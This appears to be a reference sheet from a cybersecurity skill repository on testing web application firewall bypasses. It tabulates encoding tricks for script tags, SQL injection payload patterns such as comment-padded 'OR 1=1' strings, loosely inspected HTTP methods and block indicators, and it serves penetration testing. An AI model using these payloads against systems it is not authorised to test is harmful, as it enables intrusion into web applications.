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Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
1.7 KiB
1.7 KiB
API Reference: WAF Bypass Testing
Encoding Bypass Techniques
| Technique | Example | Description |
|---|---|---|
| URL Encoding | %3Cscript%3E |
Single URL encode |
| Double Encoding | %253Cscript%253E |
Double URL encode |
| Unicode/Fullwidth | \uff1cscript\uff1e |
Unicode replacement |
| HTML Entities | <script> |
Hex HTML entities |
| Null Byte | %00 insertion |
Terminate string parsing |
| Tab/Newline | scr\tipt |
Whitespace insertion |
SQLi WAF Bypass Techniques
| Technique | Payload Pattern |
|---|---|
| Inline Comment | 1'/**/OR/**/1=1-- |
| Version Comment | 1'/*!50000OR*/1=1-- |
| Case Variation | 1' oR 1=1-- |
| Hex Encoding | 0x313d31 |
| Buffer Overflow | Long padding before payload |
| Content-Type Switch | Send as application/json |
HTTP Method Bypass
| Method | WAF Behavior |
|---|---|
| GET/POST | Usually inspected |
| PUT/PATCH/DELETE | Often not inspected |
| OPTIONS | Typically bypasses rules |
WAF Detection Indicators
| Response | Meaning |
|---|---|
| 403 Forbidden | Request blocked by WAF |
| 406 Not Acceptable | Content rejected |
| 429 Too Many Requests | Rate limited |
| Custom error page | WAF vendor-specific block |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests |
>=2.28 | HTTP request sending |
urllib.parse |
stdlib | URL encoding/double encoding |
References
- OWASP WAF Bypass: https://owasp.org/www-community/attacks/WAF_Bypass
- PortSwigger WAF Bypass: https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings
- PayloadsAllTheThings WAF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/WAF%20Bypass